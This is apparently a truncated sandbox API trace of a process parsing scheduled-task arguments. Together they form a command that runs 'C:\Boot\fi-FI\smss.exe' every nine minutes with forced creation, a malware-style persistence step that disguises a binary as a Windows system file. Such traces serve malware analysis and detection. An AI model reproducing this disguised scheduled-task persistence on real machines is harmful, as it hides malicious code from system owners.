[0074.356] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0074.356] GetLastError () returned 0x0 [0074.356] lstrlenW (lpString="MINUTE") returned 6 [0074.356] lstrlenW (lpString="MINUTE") returned 6 [0074.356] SetLastError (dwErrCode=0x0) [0074.356] SetLastError (dwErrCode=0x0) [0074.356] lstrlenW (lpString="/mo") returned 3 [0074.356] lstrlenW (lpString="-/") returned 2 [0074.356] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.356] lstrlenW (lpString="create") returned 6 [0074.356] lstrlenW (lpString="create") returned 6 [0074.356] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.356] lstrlenW (lpString="mo") returned 2 [0074.356] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.357] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.357] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.357] lstrlenW (lpString="|create|") returned 8 [0074.357] lstrlenW (lpString="|mo|") returned 4 [0074.357] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0074.357] SetLastError (dwErrCode=0x490) [0074.357] lstrlenW (lpString="?") returned 1 [0074.357] lstrlenW (lpString="?") returned 1 [0074.357] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.357] lstrlenW (lpString="mo") returned 2 [0074.357] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.357] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|?|") returned 3 [0074.357] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.357] lstrlenW (lpString="|?|") returned 3 [0074.357] lstrlenW (lpString="|mo|") returned 4 [0074.357] SetLastError (dwErrCode=0x490) [0074.357] lstrlenW (lpString="s") returned 1 [0074.357] lstrlenW (lpString="s") returned 1 [0074.357] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.357] lstrlenW (lpString="mo") returned 2 [0074.357] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.357] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|s|") returned 3 [0074.378] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.378] lstrlenW (lpString="|s|") returned 3 [0074.378] lstrlenW (lpString="|mo|") returned 4 [0074.379] SetLastError (dwErrCode=0x490) [0074.379] lstrlenW (lpString="u") returned 1 [0074.379] lstrlenW (lpString="u") returned 1 [0074.379] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] lstrlenW (lpString="mo") returned 2 [0074.379] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|u|") returned 3 [0074.379] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.379] lstrlenW (lpString="|u|") returned 3 [0074.379] lstrlenW (lpString="|mo|") returned 4 [0074.379] SetLastError (dwErrCode=0x490) [0074.379] lstrlenW (lpString="p") returned 1 [0074.379] lstrlenW (lpString="p") returned 1 [0074.379] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] lstrlenW (lpString="mo") returned 2 [0074.379] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|p|") returned 3 [0074.379] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.379] lstrlenW (lpString="|p|") returned 3 [0074.379] lstrlenW (lpString="|mo|") returned 4 [0074.379] SetLastError (dwErrCode=0x490) [0074.379] lstrlenW (lpString="ru") returned 2 [0074.379] lstrlenW (lpString="ru") returned 2 [0074.379] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] lstrlenW (lpString="mo") returned 2 [0074.379] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.379] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ru|") returned 4 [0074.379] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.379] lstrlenW (lpString="|ru|") returned 4 [0074.379] lstrlenW (lpString="|mo|") returned 4 [0074.380] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0074.380] SetLastError (dwErrCode=0x490) [0074.380] lstrlenW (lpString="rp") returned 2 [0074.380] lstrlenW (lpString="rp") returned 2 [0074.380] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] lstrlenW (lpString="mo") returned 2 [0074.380] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|rp|") returned 4 [0074.380] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.380] lstrlenW (lpString="|rp|") returned 4 [0074.380] lstrlenW (lpString="|mo|") returned 4 [0074.380] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0074.380] SetLastError (dwErrCode=0x490) [0074.380] lstrlenW (lpString="sc") returned 2 [0074.380] lstrlenW (lpString="sc") returned 2 [0074.380] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] lstrlenW (lpString="mo") returned 2 [0074.380] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.380] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.380] lstrlenW (lpString="|sc|") returned 4 [0074.380] lstrlenW (lpString="|mo|") returned 4 [0074.380] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0074.380] SetLastError (dwErrCode=0x490) [0074.380] lstrlenW (lpString="mo") returned 2 [0074.380] lstrlenW (lpString="mo") returned 2 [0074.380] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] lstrlenW (lpString="mo") returned 2 [0074.380] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.380] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.381] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.381] lstrlenW (lpString="|mo|") returned 4 [0074.381] lstrlenW (lpString="|mo|") returned 4 [0074.381] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0074.381] SetLastError (dwErrCode=0x0) [0074.381] SetLastError (dwErrCode=0x0) [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] SetLastError (dwErrCode=0x490) [0074.381] SetLastError (dwErrCode=0x0) [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0074.381] SetLastError (dwErrCode=0x490) [0074.381] SetLastError (dwErrCode=0x0) [0074.381] _memicmp (_Buf1=0x38d640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] lstrlenW (lpString=" \x09") returned 2 [0074.381] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0074.381] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0074.381] GetLastError () returned 0x0 [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] lstrlenW (lpString="9") returned 1 [0074.381] GetProcessHeap () returned 0x370000 [0074.381] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x4) returned 0x387f30 [0074.381] SetLastError (dwErrCode=0x0) [0074.381] SetLastError (dwErrCode=0x0) [0074.381] lstrlenW (lpString="/tr") returned 3 [0074.381] lstrlenW (lpString="-/") returned 2 [0074.381] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.381] lstrlenW (lpString="create") returned 6 [0074.381] lstrlenW (lpString="create") returned 6 [0074.381] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.381] lstrlenW (lpString="tr") returned 2 [0074.382] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.382] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.382] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.382] lstrlenW (lpString="|create|") returned 8 [0074.382] lstrlenW (lpString="|tr|") returned 4 [0074.382] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0074.382] SetLastError (dwErrCode=0x490) [0074.382] lstrlenW (lpString="?") returned 1 [0074.382] lstrlenW (lpString="?") returned 1 [0074.382] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.382] lstrlenW (lpString="tr") returned 2 [0074.382] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.382] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|?|") returned 3 [0074.382] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.382] lstrlenW (lpString="|?|") returned 3 [0074.382] lstrlenW (lpString="|tr|") returned 4 [0074.382] SetLastError (dwErrCode=0x490) [0074.382] lstrlenW (lpString="s") returned 1 [0074.382] lstrlenW (lpString="s") returned 1 [0074.382] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.382] lstrlenW (lpString="tr") returned 2 [0074.382] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.382] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|s|") returned 3 [0074.382] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.382] lstrlenW (lpString="|s|") returned 3 [0074.382] lstrlenW (lpString="|tr|") returned 4 [0074.382] SetLastError (dwErrCode=0x490) [0074.382] lstrlenW (lpString="u") returned 1 [0074.382] lstrlenW (lpString="u") returned 1 [0074.382] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] lstrlenW (lpString="tr") returned 2 [0074.383] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|u|") returned 3 [0074.383] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.383] lstrlenW (lpString="|u|") returned 3 [0074.383] lstrlenW (lpString="|tr|") returned 4 [0074.383] SetLastError (dwErrCode=0x490) [0074.383] lstrlenW (lpString="p") returned 1 [0074.383] lstrlenW (lpString="p") returned 1 [0074.383] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] lstrlenW (lpString="tr") returned 2 [0074.383] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|p|") returned 3 [0074.383] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.383] lstrlenW (lpString="|p|") returned 3 [0074.383] lstrlenW (lpString="|tr|") returned 4 [0074.383] SetLastError (dwErrCode=0x490) [0074.383] lstrlenW (lpString="ru") returned 2 [0074.383] lstrlenW (lpString="ru") returned 2 [0074.383] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] lstrlenW (lpString="tr") returned 2 [0074.383] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.383] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ru|") returned 4 [0074.383] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.383] lstrlenW (lpString="|ru|") returned 4 [0074.383] lstrlenW (lpString="|tr|") returned 4 [0074.383] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0074.383] SetLastError (dwErrCode=0x490) [0074.383] lstrlenW (lpString="rp") returned 2 [0074.383] lstrlenW (lpString="rp") returned 2 [0074.383] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] lstrlenW (lpString="tr") returned 2 [0074.384] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|rp|") returned 4 [0074.384] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.384] lstrlenW (lpString="|rp|") returned 4 [0074.384] lstrlenW (lpString="|tr|") returned 4 [0074.384] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0074.384] SetLastError (dwErrCode=0x490) [0074.384] lstrlenW (lpString="sc") returned 2 [0074.384] lstrlenW (lpString="sc") returned 2 [0074.384] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] lstrlenW (lpString="tr") returned 2 [0074.384] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.384] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.384] lstrlenW (lpString="|sc|") returned 4 [0074.384] lstrlenW (lpString="|tr|") returned 4 [0074.384] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0074.384] SetLastError (dwErrCode=0x490) [0074.384] lstrlenW (lpString="mo") returned 2 [0074.384] lstrlenW (lpString="mo") returned 2 [0074.384] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] lstrlenW (lpString="tr") returned 2 [0074.384] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.384] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.384] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.384] lstrlenW (lpString="|mo|") returned 4 [0074.384] lstrlenW (lpString="|tr|") returned 4 [0074.384] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0074.384] SetLastError (dwErrCode=0x490) [0074.384] lstrlenW (lpString="d") returned 1 [0074.385] lstrlenW (lpString="d") returned 1 [0074.385] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] lstrlenW (lpString="tr") returned 2 [0074.385] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|d|") returned 3 [0074.385] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.385] lstrlenW (lpString="|d|") returned 3 [0074.385] lstrlenW (lpString="|tr|") returned 4 [0074.385] SetLastError (dwErrCode=0x490) [0074.385] lstrlenW (lpString="m") returned 1 [0074.385] lstrlenW (lpString="m") returned 1 [0074.385] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] lstrlenW (lpString="tr") returned 2 [0074.385] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|m|") returned 3 [0074.385] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.385] lstrlenW (lpString="|m|") returned 3 [0074.385] lstrlenW (lpString="|tr|") returned 4 [0074.385] SetLastError (dwErrCode=0x490) [0074.385] lstrlenW (lpString="i") returned 1 [0074.385] lstrlenW (lpString="i") returned 1 [0074.385] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] lstrlenW (lpString="tr") returned 2 [0074.385] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.385] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|i|") returned 3 [0074.385] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.385] lstrlenW (lpString="|i|") returned 3 [0074.385] lstrlenW (lpString="|tr|") returned 4 [0074.385] SetLastError (dwErrCode=0x490) [0074.385] lstrlenW (lpString="tn") returned 2 [0074.386] lstrlenW (lpString="tn") returned 2 [0074.386] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.386] lstrlenW (lpString="tr") returned 2 [0074.386] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.386] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.386] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.386] lstrlenW (lpString="|tn|") returned 4 [0074.386] lstrlenW (lpString="|tr|") returned 4 [0074.386] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0074.386] SetLastError (dwErrCode=0x490) [0074.386] lstrlenW (lpString="tr") returned 2 [0074.386] lstrlenW (lpString="tr") returned 2 [0074.386] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.386] lstrlenW (lpString="tr") returned 2 [0074.386] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.386] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.386] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.386] lstrlenW (lpString="|tr|") returned 4 [0074.386] lstrlenW (lpString="|tr|") returned 4 [0074.386] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0074.386] SetLastError (dwErrCode=0x0) [0074.386] SetLastError (dwErrCode=0x0) [0074.386] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.386] lstrlenW (lpString="-/") returned 2 [0074.386] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.386] SetLastError (dwErrCode=0x490) [0074.386] SetLastError (dwErrCode=0x490) [0074.386] SetLastError (dwErrCode=0x0) [0074.386] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.387] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0074.387] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.387] _memicmp (_Buf1=0x38c410, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.387] _memicmp (_Buf1=0x38d5e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.387] SetLastError (dwErrCode=0x7a) [0074.387] SetLastError (dwErrCode=0x0) [0074.387] SetLastError (dwErrCode=0x0) [0074.387] lstrlenW (lpString="'C") returned 2 [0074.387] lstrlenW (lpString="-/") returned 2 [0074.387] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.387] SetLastError (dwErrCode=0x490) [0074.387] SetLastError (dwErrCode=0x490) [0074.387] SetLastError (dwErrCode=0x0) [0074.387] _memicmp (_Buf1=0x38d640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.387] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.387] GetProcessHeap () returned 0x370000 [0074.387] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d660) returned 1 [0074.387] GetProcessHeap () returned 0x370000 [0074.387] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38d660, Size=0x32) returned 0x387c10 [0074.387] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.387] lstrlenW (lpString=" \x09") returned 2 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.387] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0074.388] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.388] GetLastError () returned 0x0 [0074.388] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.388] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.388] SetLastError (dwErrCode=0x0) [0074.388] SetLastError (dwErrCode=0x0) [0074.388] lstrlenW (lpString="/f") returned 2 [0074.388] lstrlenW (lpString="-/") returned 2 [0074.388] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.389] lstrlenW (lpString="create") returned 6 [0074.389] lstrlenW (lpString="create") returned 6 [0074.389] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.389] lstrlenW (lpString="f") returned 1 [0074.389] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.389] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|create|") returned 8 [0074.389] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.389] lstrlenW (lpString="|create|") returned 8 [0074.389] lstrlenW (lpString="|f|") returned 3 [0074.389] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0074.389] SetLastError (dwErrCode=0x490) [0074.389] lstrlenW (lpString="?") returned 1 [0074.389] lstrlenW (lpString="?") returned 1 [0074.389] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.389] lstrlenW (lpString="f") returned 1 [0074.389] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.389] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|?|") returned 3 [0074.389] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.389] lstrlenW (lpString="|?|") returned 3 [0074.389] lstrlenW (lpString="|f|") returned 3 [0074.389] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0074.389] SetLastError (dwErrCode=0x490) [0074.389] lstrlenW (lpString="s") returned 1 [0074.389] lstrlenW (lpString="s") returned 1 [0074.389] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.389] lstrlenW (lpString="f") returned 1 [0074.389] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.390] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|s|") returned 3 [0074.390] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.390] lstrlenW (lpString="|s|") returned 3 [0074.390] lstrlenW (lpString="|f|") returned 3 [0074.390] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0074.390] SetLastError (dwErrCode=0x490) [0074.390] lstrlenW (lpString="u") returned 1 [0074.390] lstrlenW (lpString="u") returned 1 [0074.390] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.390] lstrlenW (lpString="f") returned 1 [0074.390] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.390] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|u|") returned 3 [0074.390] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.390] lstrlenW (lpString="|u|") returned 3 [0074.390] 